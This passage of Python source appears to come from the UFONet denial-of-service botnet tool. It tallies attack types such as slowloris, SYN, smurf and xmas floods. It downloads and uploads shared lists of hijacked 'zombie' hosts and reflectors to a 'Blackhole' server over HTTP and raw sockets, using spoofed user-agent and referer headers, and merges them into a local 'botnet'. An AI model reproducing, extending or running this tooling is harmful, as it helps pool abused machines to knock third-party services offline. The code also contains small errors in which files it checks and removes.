  1274. data["loic"] = aloic
  1275. stats_json_file = open(self.mothership_stats_file, "w+")
  1276. stats_json_file.write(json.dumps(data))
  1277. stats_json_file.close()
  1278. def update_loris_stats(self):
  1279. stats_json_file = open(self.mothership_stats_file, "r")
  1280. data = json.load(stats_json_file)
  1281. stats_json_file.close()
  1282. aloris = data["loris"]
  1283. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1284. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1285. data["loris"] = aloris
  1286. stats_json_file = open(self.mothership_stats_file, "w+")
  1287. stats_json_file.write(json.dumps(data))
  1288. stats_json_file.close()
  1289. def update_ufosyn_stats(self):
  1290. stats_json_file = open(self.mothership_stats_file, "r")
  1291. data = json.load(stats_json_file)
  1292. stats_json_file.close()
  1293. aufosyn = data["ufosyn"]
  1294. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1295. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1296. data["ufosyn"] = aufosyn
  1297. stats_json_file = open(self.mothership_stats_file, "w+")
  1298. stats_json_file.write(json.dumps(data))
  1299. stats_json_file.close()
  1300. def update_spray_stats(self):
  1301. stats_json_file = open(self.mothership_stats_file, "r")
  1302. data = json.load(stats_json_file)
  1303. stats_json_file.close()
  1304. aspray = data["spray"]
  1305. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1306. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1307. data["spray"] = aspray
  1308. stats_json_file = open(self.mothership_stats_file, "w+")
  1309. stats_json_file.write(json.dumps(data))
  1310. stats_json_file.close()
  1311. def update_smurf_stats(self):
  1312. stats_json_file = open(self.mothership_stats_file, "r")
  1313. data = json.load(stats_json_file)
  1314. stats_json_file.close()
  1315. asmurf = data["smurf"]
  1316. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1317. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1318. data["smurf"] = asmurf
  1319. stats_json_file = open(self.mothership_stats_file, "w+")
  1320. stats_json_file.write(json.dumps(data))
  1321. stats_json_file.close()
  1322. def update_xmas_stats(self):
  1323. stats_json_file = open(self.mothership_stats_file, "r")
  1324. data = json.load(stats_json_file)
  1325. stats_json_file.close()
  1326. axmas = data["xmas"]
  1327. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1328. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1329. data["xmas"] = axmas
  1330. stats_json_file = open(self.mothership_stats_file, "w+")
  1331. stats_json_file.write(json.dumps(data))
  1332. stats_json_file.close()
  1333. def uploading_list(self):
  1334. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1335. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1336. abductions = "abductions.txt.gz"
  1337. troops = "troops.txt.gz"
  1338. robots = "robots.txt.gz"
  1339. drones = "drones.txt.gz"
  1340. reflectors = "reflectors.txt.gz"
  1341. if self.options.timeout: # set timeout
  1342. try:
  1343. timeout = int(self.options.timeout)
  1344. except:
  1345. timeout = 1
  1346. else:
  1347. timeout = 1
  1348. if timeout < 1:
  1349. timeout = 1
  1350. try:
  1351. print("[AI] Checking integrity of [Blackhole]...\n")
  1352. if self.options.forcessl:
  1353. if self.options.proxy: # set proxy
  1354. self.proxy_transport(options.proxy)
  1355. req = urllib2.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1356. abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1357. req = urllib2.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1358. troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1359. req = urllib2.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1360. robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1361. req = urllib2.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1362. drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1363. req = urllib2.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1364. reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1365. else:
  1366. if self.options.proxy: # set proxy
  1367. self.proxy_transport(options.proxy)
  1368. req = urllib2.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1369. abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1370. req = urllib2.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1371. troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1372. req = urllib2.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1373. robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1374. req = urllib2.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1375. drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1376. req = urllib2.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1377. reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1378. print("[AI] [Control] [Blackhole] Reply: [VORTEX READY!] ;-)")
  1379. f_in_abductions = gzip.open(abductions_reply, 'rb')
  1380. f_out_abductions = open('abductions.txt', 'wb')
  1381. f_out_abductions.write(f_in_abductions.read())
  1382. f_in_abductions.close()
  1383. f_out_abductions.close()
  1384. os.remove(abductions) # remove .gz file
  1385. num_zombies = 0
  1386. with open('abductions.txt') as f:
  1387. for _ in f:
  1388. num_zombies = num_zombies + 1
  1389. print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))
  1390. f_in_robots = gzip.open(robots_reply, 'rb')
  1391. f_out_robots = open('robots.txt', 'wb')
  1392. f_out_robots.write(f_in_robots.read())
  1393. f_in_robots.close()
  1394. f_out_robots.close()
  1395. os.remove(robots) # remove .gz file
  1396. num_robots = 0
  1397. with open('robots.txt') as f:
  1398. for _ in f:
  1399. num_robots = num_robots + 1
  1400. print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))
  1401. f_in_troops = gzip.open(troops_reply, 'rb')
  1402. f_out_troops = open('troops.txt', 'wb')
  1403. f_out_troops.write(f_in_troops.read())
  1404. f_in_troops.close()
  1405. f_out_troops.close()
  1406. os.remove(troops) # remove .gz file
  1407. num_aliens = 0
  1408. with open(self.aliens_file) as f:
  1409. for _ in f:
  1410. num_aliens = num_aliens + 1
  1411. print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))
  1412. f_in_drones = gzip.open(drones_reply, 'rb')
  1413. f_out_drones = open('drones.txt', 'wb')
  1414. f_out_drones.write(f_in_drones.read())
  1415. f_in_drones.close()
  1416. f_out_drones.close()
  1417. os.remove(drones) # remove .gz file
  1418. num_drones = 0
  1419. with open('drones.txt') as f:
  1420. for _ in f:
  1421. num_drones = num_drones + 1
  1422. print("[Info] [Drones] on [Blackhole] : "+ str(num_drones))
  1423. f_in_reflectors = gzip.open(reflectors_reply, 'rb')
  1424. f_out_reflectors = open('reflectors.txt', 'wb')
  1425. f_out_reflectors.write(f_in_reflectors.read())
  1426. f_in_reflectors.close()
  1427. f_out_reflectors.close()
  1428. os.remove(reflectors) # remove .gz file
  1429. num_reflectors = 0
  1430. with open('reflectors.txt') as f:
  1431. for _ in f:
  1432. num_reflectors = num_reflectors + 1
  1433. print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))
  1434. print '-'*12 + '\n'
  1435. if not self.options.forceyes:
  1436. update_reply = raw_input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  1437. print '-'*25
  1438. else:
  1439. update_reply = "Y"
  1440. if update_reply == "n" or update_reply == "N":
  1441. os.remove('abductions.txt') # remove abductions file
  1442. os.remove('troops.txt') # remove troops file
  1443. os.remove('robots.txt') # remove robots file
  1444. os.remove('drones.txt') # remove drones file
  1445. os.remove('reflectors.txt') # remove reflectors file
  1446. print "\n[Info] [AI] [Control] Aborting upload process and cleaning temporal files... -> [Exiting!]\n"
  1447. return
  1448. else:
  1449. print "\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n" # only upload valid zombies
  1450. print '='*35
  1451. zombies = self.extract_zombies()
  1452. if not zombies:
  1453. return
  1454. test = self.testing(zombies)
  1455. zombies_community = []
  1456. zombies_added = 0
  1457. f = open('abductions.txt')
  1458. abductions = f.readlines()
  1459. abductions = [abduction.strip() for abduction in abductions]
  1460. f.close()
  1461. fz = open(self.zombies_file)
  1462. zombies = fz.readlines()
  1463. zombies = [zombie.strip() for zombie in zombies]
  1464. fz.close()
  1465. for zombie in zombies:
  1466. if zombie not in abductions:
  1467. zombies_community.append(zombie)
  1468. zombies_added = zombies_added + 1
  1469. else:
  1470. pass
  1471. print("[Info] [AI] New [Zombies] found: " + str(zombies_added))
  1472. aliens = self.extract_aliens()
  1473. if not aliens:
  1474. return
  1475. aliens_community = []
  1476. aliens_added = 0
  1477. f = open('troops.txt')
  1478. troops = f.readlines()
  1479. troops = [troop.strip() for troop in troops]
  1480. f.close()
  1481. fz = open(self.aliens_file)
  1482. aliens = fz.readlines()
  1483. aliens = [alien.strip() for alien in aliens]
  1484. fz.close()
  1485. for alien in aliens:
  1486. if alien not in troops:
  1487. aliens_community.append(alien)
  1488. aliens_added = aliens_added + 1
  1489. else:
  1490. pass
  1491. print("[Info] [AI] New [Aliens] found : " + str(aliens_added))
  1492. droids = self.extract_droids()
  1493. if not droids:
  1494. return
  1495. droids_community = []
  1496. droids_added = 0
  1497. f = open('robots.txt')
  1498. robots = f.readlines()
  1499. robots = [robot.strip() for robot in robots]
  1500. f.close()
  1501. fz = open(self.droids_file)
  1502. droids = fz.readlines()
  1503. droids = [droid.strip() for droid in droids]
  1504. fz.close()
  1505. for droid in droids:
  1506. if droid not in robots:
  1507. droids_community.append(droid)
  1508. droids_added = droids_added + 1
  1509. else:
  1510. pass
  1511. print("[Info] [AI] New [Droids] found : " + str(droids_added))
  1512. ucavs = self.extract_ucavs()
  1513. if not ucavs:
  1514. return
  1515. ucavs_community = []
  1516. ucavs_added = 0
  1517. f = open('drones.txt')
  1518. drones = f.readlines()
  1519. drones = [drone.strip() for drone in drones]
  1520. f.close()
  1521. fz = open(self.ucavs_file)
  1522. ucavs = fz.readlines()
  1523. ucavs = [ucav.strip() for ucav in ucavs]
  1524. fz.close()
  1525. for ucav in ucavs:
  1526. if ucav not in drones:
  1527. ucavs_community.append(ucav)
  1528. ucavs_added = ucavs_added + 1
  1529. else:
  1530. pass
  1531. print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added))
  1532. rpcs = self.extract_rpcs()
  1533. if not ucavs:
  1534. return
  1535. rpcs_community = []
  1536. rpcs_added = 0
  1537. f = open('reflectors.txt')
  1538. reflectors = f.readlines()
  1539. reflectors = [reflector.strip() for reflector in reflectors]
  1540. f.close()
  1541. fz = open(self.rpcs_file)
  1542. rpcs = fz.readlines()
  1543. rpcs = [rpc.strip() for rpc in rpcs]
  1544. fz.close()
  1545. for rpc in rpcs:
  1546. if rpc not in reflectors:
  1547. rpcs_community.append(rpc)
  1548. rpcs_added = rpcs_added + 1
  1549. else:
  1550. pass
  1551. print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))
  1552. print '-'*12 + '\n'
  1553. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0: # not any zombie
  1554. os.remove('abductions.txt') # remove abductions file
  1555. os.remove('troops.txt') # remove troops file
  1556. os.remove('robots.txt') # remove robots file
  1557. os.remove('drones.txt') # remove ucavs file
  1558. os.remove('rpcs.txt') # remove rpcs file
  1559. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  1560. return
  1561. else:
  1562. fc = gzip.open('community_zombies.txt.gz', 'wb')
  1563. for zombie in zombies_community:
  1564. fc.write(zombie.strip()+"\n")
  1565. fc.close()
  1566. os.remove('abductions.txt') # remove abductions file
  1567. fc = gzip.open('community_aliens.txt.gz', 'wb')
  1568. for alien in aliens_community:
  1569. fc.write(alien.strip()+"\n")
  1570. fc.close()
  1571. os.remove('troops.txt') # remove troops file
  1572. fc = gzip.open('community_droids.txt.gz', 'wb')
  1573. for droid in droids_community:
  1574. fc.write(droid.strip()+"\n")
  1575. fc.close()
  1576. os.remove('robots.txt') # remove robots file
  1577. fc = gzip.open('community_ucavs.txt.gz', 'wb')
  1578. for ucav in ucavs_community:
  1579. fc.write(ucav.strip()+"\n")
  1580. fc.close()
  1581. os.remove('drones.txt') # remove drones file
  1582. fc = gzip.open('community_rpcs.txt.gz', 'wb')
  1583. for rpc in rpcs_community:
  1584. fc.write(rpc.strip()+"\n")
  1585. fc.close()
  1586. os.remove('reflectors.txt') # remove reflectors file
  1587. print("[Info] [AI] Starting to upload new [Zombies]...\n")
  1588. try: # open a socket and send data to the blackhole reciever port
  1589. host = self.blackhole
  1590. cport = 9991
  1591. mport = 9990
  1592. try:
  1593. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  1594. cs.connect((host, cport))
  1595. cs.send("SEND " + 'community_zombies.txt.gz')
  1596. cs.close()
  1597. f = open('community_zombies.txt.gz', "rb")
  1598. data = f.read()
  1599. f.close()
  1600. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1601. ms.connect((host, mport))
  1602. ms.send(data)
  1603. ms.close()
  1604. os.remove('community_zombies.txt.gz') # remove local zombies .gz file after transfer
  1605. time.sleep(1)
  1606. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1607. cs.connect((host, cport))
  1608. cs.send("SEND " + 'community_aliens.txt.gz')
  1609. cs.close()
  1610. f = open('community_aliens.txt.gz', "rb")
  1611. data = f.read()
  1612. f.close()
  1613. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1614. ms.connect((host, mport))
  1615. ms.send(data)
  1616. ms.close()
  1617. os.remove('community_aliens.txt.gz') # remove local aliens .gz file after transfer
  1618. time.sleep(1)
  1619. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1620. cs.connect((host, cport))
  1621. cs.send("SEND " + 'community_robots.txt.gz')
  1622. cs.close()
  1623. f = open('community_droids.txt.gz', "rb")
  1624. data = f.read()
  1625. f.close()
  1626. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1627. ms.connect((host, mport))
  1628. ms.send(data)
  1629. ms.close()
  1630. os.remove('community_droids.txt.gz') # remove local droids .gz file after transfer
  1631. time.sleep(1)
  1632. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1633. cs.connect((host, cport))
  1634. cs.send("SEND " + 'community_ucavs.txt.gz')
  1635. cs.close()
  1636. f = open('community_ucavs.txt.gz', "rb")
  1637. data = f.read()
  1638. f.close()
  1639. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1640. ms.connect((host, mport))
  1641. ms.send(data)
  1642. ms.close()
  1643. os.remove('community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  1644. time.sleep(1)
  1645. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1646. cs.connect((host, cport))
  1647. cs.send("SEND " + 'community_rpcs.txt.gz')
  1648. cs.close()
  1649. f = open('community_rpcs.txt.gz', "rb")
  1650. data = f.read()
  1651. f.close()
  1652. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1653. ms.connect((host, mport))
  1654. ms.send(data)
  1655. ms.close()
  1656. os.remove('community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  1657. time.sleep(2) # sleep a bit more
  1658. print '-'*12 + '\n'
  1659. print("[Info] [AI] Transfer -> [DONE!]\n")
  1660. except Exception, e:
  1661. print str(e) + "\n"
  1662. except:
  1663. print '-'*12 + '\n'
  1664. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  1665. return
  1666. except:
  1667. print '-'*12 + '\n'
  1668. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  1669. return
  1670. def update_gui_data(self):
  1671. # download all GUI stream data
  1672. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1673. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1674. if self.options.proxy: # set proxy
  1675. self.proxy_transport(self.options.proxy)
  1676. if self.options.timeout: # set timeout
  1677. try:
  1678. timeout = int(self.options.timeout)
  1679. except:
  1680. timeout = 1
  1681. else:
  1682. timeout = 1
  1683. if timeout < 1:
  1684. timeout = 1
  1685. if self.options.forcessl:
  1686. news = urllib2.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1687. news_reply = urllib2.urlopen(news, context=self.ctx, timeout=timeout).read()
  1688. missions = urllib2.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1689. missions_reply = urllib2.urlopen(missions, context=self.ctx, timeout=timeout).read()
  1690. board = urllib2.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1691. board_reply = urllib2.urlopen(board, context=self.ctx, timeout=timeout).read()
  1692. grid = urllib2.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1693. grid_reply = urllib2.urlopen(grid, context=self.ctx, timeout=timeout).read()
  1694. wargames = urllib2.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1695. wargames_reply = urllib2.urlopen(wargames, context=self.ctx, timeout=timeout).read()
  1696. else:
  1697. news = urllib2.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1698. news_reply = urllib2.urlopen(news, context=self.ctx).read()
  1699. missions = urllib2.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1700. missions_reply = urllib2.urlopen(missions, context=self.ctx).read()
  1701. board = urllib2.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1702. board_reply = urllib2.urlopen(board, context=self.ctx).read()
  1703. grid = urllib2.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1704. grid_reply = urllib2.urlopen(grid, context=self.ctx).read()
  1705. wargames = urllib2.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1706. wargames_reply = urllib2.urlopen(wargames, context=self.ctx).read()
  1707. f = open(self.news_file, 'w')
  1708. f.write(news_reply)
  1709. f.close()
  1710. f = open(self.missions_file, 'w')
  1711. f.write(missions_reply)
  1712. f.close()
  1713. f = open(self.board_file, 'w')
  1714. f.write(board_reply)
  1715. f.close()
  1716. f = open(self.grid_file, 'w')
  1717. f.write(grid_reply)
  1718. f.close()
  1719. f = open(self.wargames_file, 'w')
  1720. f.write(wargames_reply)
  1721. f.close()
  1722. print '-'*25 + "\n"
  1723. print "[Info] [AI] GUI data correctly updated:\n"
  1724. if news_reply:
  1725. print "[Info] [AI] [News] : OK!"
  1726. if missions_reply:
  1727. print "[Info] [AI] [Missions]: OK!"
  1728. if board_reply:
  1729. print "[Info] [AI] [Board] : OK!"
  1730. if grid_reply:
  1731. print "[Info] [AI] [Grid] : OK!"
  1732. if wargames_reply:
  1733. print "[Info] [AI] [Wargames]: OK!"
  1734. print '-'*25
  1735. print "\n[AI] "+self.exit_msg+"\n"
  1736. def downloading_list(self):
  1737. # add your mirror to protect/share/distribute zombies
  1738. try:
  1739. print("[AI] Trying [Blackhole]: "+self.blackhole+"\n")
  1740. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1741. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1742. if self.options.timeout: # set timeout
  1743. try:
  1744. timeout = int(self.options.timeout)
  1745. except:
  1746. timeout = 1
  1747. else:
  1748. timeout = 1
  1749. if timeout < 1:
  1750. timeout = 1
  1751. if self.options.forcessl:
  1752. if self.options.proxy: # set proxy
  1753. self.proxy_transport(options.proxy)
  1754. req = urllib2.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1755. abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1756. req = urllib2.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1757. troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1758. req = urllib2.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1759. robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1760. req = urllib2.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1761. drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1762. req = urllib2.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1763. reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1764. else:
  1765. if self.options.proxy: # set proxy
  1766. self.proxy_transport(options.proxy)
  1767. req = urllib2.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1768. abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1769. req = urllib2.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1770. troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1771. req = urllib2.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1772. robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1773. req = urllib2.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1774. drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1775. req = urllib2.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1776. reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1777. f = open('abductions.txt.gz', 'w')
  1778. f.write(abductions_reply)
  1779. f.close()
  1780. f = open('troops.txt.gz', 'w')
  1781. f.write(troops_reply)
  1782. f.close()
  1783. f = open('robots.txt.gz', 'w')
  1784. f.write(robots_reply)
  1785. f.close()
  1786. f = open('drones.txt.gz', 'w')
  1787. f.write(drones_reply)
  1788. f.close()
  1789. f = open('reflectors.txt.gz', 'w')
  1790. f.write(reflectors_reply)
  1791. f.close()
  1792. print("[AI] [Control] [Blackhole] Reply: [VORTEX READY!] ;-)")
  1793. except:
  1794. print("[AI] [Control] [Blackhole] Reply: [VORTEX FAILED!]")
  1795. print '-'*12 + '\n'
  1796. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] -> [Exiting!]\n")
  1797. return
  1798. print '-'*12 + '\n'
  1799. f_in_abductions = gzip.open('abductions.txt.gz', 'rb')
  1800. f_out_abductions = open('abductions.txt', 'wb')
  1801. f_out_abductions.write(f_in_abductions.read())
  1802. f_in_abductions.close()
  1803. f_out_abductions.close()
  1804. os.remove('abductions.txt.gz') # remove abductions .gz file
  1805. f_in_troops = gzip.open('troops.txt.gz', 'rb')
  1806. f_out_troops = open('troops.txt', 'wb')
  1807. f_out_troops.write(f_in_troops.read())
  1808. f_in_troops.close()
  1809. f_out_troops.close()
  1810. os.remove('troops.txt.gz') # remove troops .gz file
  1811. f_in_robots = gzip.open('robots.txt.gz', 'rb')
  1812. f_out_robots = open('robots.txt', 'wb')
  1813. f_out_robots.write(f_in_robots.read())
  1814. f_in_robots.close()
  1815. f_out_robots.close()
  1816. os.remove('robots.txt.gz') # remove robots .gz file
  1817. f_in_drones = gzip.open('drones.txt.gz', 'rb')
  1818. f_out_drones = open('drones.txt', 'wb')
  1819. f_out_drones.write(f_in_drones.read())
  1820. f_in_drones.close()
  1821. f_out_drones.close()
  1822. os.remove('drones.txt.gz') # remove drones .gz file
  1823. f_in_reflectors = gzip.open('reflectors.txt.gz', 'rb')
  1824. f_out_reflectors = open('reflectors.txt', 'wb')
  1825. f_out_reflectors.write(f_in_reflectors.read())
  1826. f_in_reflectors.close()
  1827. f_out_reflectors.close()
  1828. os.remove('reflectors.txt.gz') # remove reflectors .gz file
  1829. num_abductions = 0
  1830. with open('abductions.txt') as f:
  1831. for _ in f:
  1832. num_abductions = num_abductions + 1
  1833. print("[Info] Zombies: " + str(num_abductions))
  1834. num_robots = 0
  1835. with open('robots.txt') as f:
  1836. for _ in f:
  1837. num_robots = num_robots + 1
  1838. print("[Info] Droids : " + str(num_robots))
  1839. num_troops = 0
  1840. with open('troops.txt') as f:
  1841. for _ in f:
  1842. num_troops = num_troops + 1
  1843. print("[Info] Aliens : " + str(num_troops))
  1844. num_drones = 0
  1845. with open('drones.txt') as f:
  1846. for _ in f:
  1847. num_drones = num_drones + 1
  1848. print("[Info] UCAVs : " + str(num_drones))
  1849. num_reflectors = 0
  1850. with open('reflectors.txt') as f:
  1851. for _ in f:
  1852. num_reflectors = num_reflectors + 1
  1853. print("[Info] X-RPCs : " + str(num_reflectors))
  1854. total_zombies = num_abductions + num_troops + num_robots + num_drones + num_reflectors
  1855. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  1856. print '-'*12
  1857. if not self.options.forceyes:
  1858. update_reply = raw_input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  1859. print '-'*25
  1860. else:
  1861. update_reply = "Y"
  1862. if update_reply == "n" or update_reply == "N":
  1863. os.remove('abductions.txt') # remove abductions file
  1864. os.remove('troops.txt') # remove troops file
  1865. os.remove('robots.txt') # remove robots file
  1866. os.remove('drones.txt') # remove drones file
  1867. os.remove('reflectors.txt') # remove reflectors file
  1868. print "\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]"
  1869. print '-'*25
  1870. print "\n[AI] "+self.exit_msg+"\n"
  1871. else:
  1872. zombies_ready = []
  1873. f = open('abductions.txt')
  1874. abductions = f.readlines()
  1875. f.close()
  1876. fz = open(self.zombies_file)
  1877. zombies = fz.readlines()
  1878. fz.close()
  1879. for abduction in abductions:
  1880. abduction = abduction.replace('\n','')
  1881. if abduction not in zombies:
  1882. zombies_ready.append(abduction)
  1883. else:
  1884. pass
  1885. self.update_zombies(zombies_ready)
  1886. os.remove('abductions.txt') # remove abductions .txt file
  1887. aliens_ready = []
  1888. f = open('troops.txt')
  1889. troops = f.readlines()
  1890. f.close()
  1891. fz = open(self.aliens_file)
  1892. aliens = fz.readlines()
  1893. fz.close()
  1894. for alien in troops:
  1895. alien = alien.replace('\n','')
  1896. if alien not in aliens:
  1897. aliens_ready.append(alien)
  1898. else:
  1899. pass
  1900. self.update_aliens(aliens_ready)
  1901. os.remove('troops.txt') # remove troops .txt file
  1902. droids_ready = []
  1903. f = open('robots.txt')
  1904. robots = f.readlines()
  1905. f.close()
  1906. fz = open(self.droids_file)
  1907. droids = fz.readlines()
  1908. fz.close()
  1909. for droid in robots:
  1910. droid = droid.replace('\n','')
  1911. if droid not in droids:
  1912. droids_ready.append(droid)
  1913. else:
  1914. pass
  1915. self.update_droids(droids_ready)
  1916. os.remove('robots.txt') # remove robots .txt file
  1917. ucavs_ready = []
  1918. f = open('drones.txt')
  1919. drones = f.readlines()
  1920. f.close()
  1921. fz = open(self.ucavs_file)
  1922. ucavs = fz.readlines()
  1923. fz.close()
  1924. for drone in drones:
  1925. drone = drone.replace('\n','')
  1926. if drone not in ucavs:
  1927. ucavs_ready.append(drone)
  1928. else:
  1929. pass
  1930. self.update_ucavs(ucavs_ready)
  1931. os.remove('drones.txt') # remove drones .txt file
  1932. rpcs_ready = []
  1933. f = open('reflectors.txt')
  1934. reflectors = f.readlines()
  1935. f.close()
  1936. fz = open(self.rpcs_file)
  1937. rpcs = fz.readlines()
  1938. fz.close()
  1939. for reflector in reflectors:
  1940. reflector = reflector.replace('\n','')
  1941. if reflector not in rpcs:
  1942. rpcs_ready.append(reflector)
  1943. else:
  1944. pass
  1945. self.update_rpcs(rpcs_ready)
  1946. os.remove('reflectors.txt') # remove reflectors .txt file
  1947. print "\n[Info] [AI] Botnet updated! -> ;-)"
  1948. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  1949. if not self.options.forceyes: # ask for update everything
  1950. print '-'*25 + "\n"
  1951. update_reply = raw_input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  1952. else:
  1953. update_reply = "Y"
  1954. if update_reply == "n" or update_reply == "N":
  1955. print "\n[AI] "+self.exit_msg+"\n"
  1956. return
  1957. else:
  1958. try:
  1959. update_gui = self.update_gui_data() # update GUI data
  1960. except:
  1961. print '-'*25 +"\n"
  1962. print "[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]"
  1963. print '-'*25
  1964. print "\n[AI] "+self.exit_msg+"\n"
  1965. return
  1966. def create_web_interface(self):
  1967. # launch webserver+gui
  1968. from webgui import ClientThread
  1969. import webbrowser
  1970. host = '0.0.0.0'
  1971. port = 9999
  1972. try:
  1973. webbrowser.open('http://127.0.0.1:9999', new=1)
  1974. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1975. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  1976. tcpsock.bind((host,port))
  1977. while True:
  1978. tcpsock.listen(4)
  1979. #print "Listening for incoming connections on http://%s:%d" % (host,port)
  1980. (clientsock, (ip, port)) = tcpsock.accept()
  1981. newthread = ClientThread(ip, port, clientsock)
  1982. newthread.start()
  1983. except (KeyboardInterrupt, SystemExit):
  1984. sys.exit()
  1985. def extract_dorks(self):
  1986. # extract dorks from file (ex: 'dorks.txt')
  1987. try:
  1988. f = open(self.dorks_file)
  1989. dorks = f.readlines()
  1990. dorks = [ dork.replace('\n','') for dork in dorks ]
  1991. f.close()
  1992. if not dorks:
  1993. if not options.autosearch:
